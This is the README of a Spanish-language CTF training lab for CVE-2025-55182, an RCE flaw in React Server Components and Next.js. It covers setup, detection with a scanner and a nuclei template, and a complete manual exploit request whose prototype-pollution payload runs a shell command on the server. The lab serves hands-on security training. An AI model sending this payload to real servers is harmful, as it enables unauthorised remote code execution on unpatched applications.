goultarde/cve-2025-55182-react2shell-labEntorno de laboratorio CTF que explota CVE-2025-55182 (RCE en React Server Components) con un blog vulnerable en Next.js, scripts de detección y payloads manuales de explotación para formación práctica en seguridad.
Este repositorio proporciona un entorno CTF (Capture The Flag) vulnerable basado en un blog de ciberseguridad que utiliza Next.js y React Server Components.
CVE-2025-55182 : Vulnerabilidad de ejecución remota de código (RCE) preautenticación en React Server Components versiones 19.0.0, 19.1.0, 19.1.1 y 19.2.0. El código vulnerable deserializa de manera no segura los payloads de las solicitudes HTTP hacia los endpoints Server Function.
CVE-2025-66478 : Impacto en las aplicaciones Next.js que utilizan el App Router.
Este desafío presenta un blog de ciberseguridad con:
El blog utiliza versiones vulnerables de React y Next.js, lo que permite la explotación de la falla React2Shell.
| Paquete | Versión |
|---|---|
next | 16.0.6 |
react | 19.2.0 |
react-dom | 19.2.0 |
# Construire l'image
docker build -t react2shell-poc .
# Lancer le conteneur
docker run --rm -p 127.0.0.1:3000:3000 react2shell-poc
npm install
npm run build
npm run start
Luego, accede a http://127.0.0.1:3000
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt
python3 scanner.py -u http://127.0.0.1:3000
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
Consulta la carpeta React2Shell/ para el exploit Python.
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
La respuesta contendrá el resultado del comando id en el encabezado x-action-redirect.
CTF Challenge personalizado basado en la plantilla simple-nextjs-blog y el entorno vulnerable CVE-2025-55182.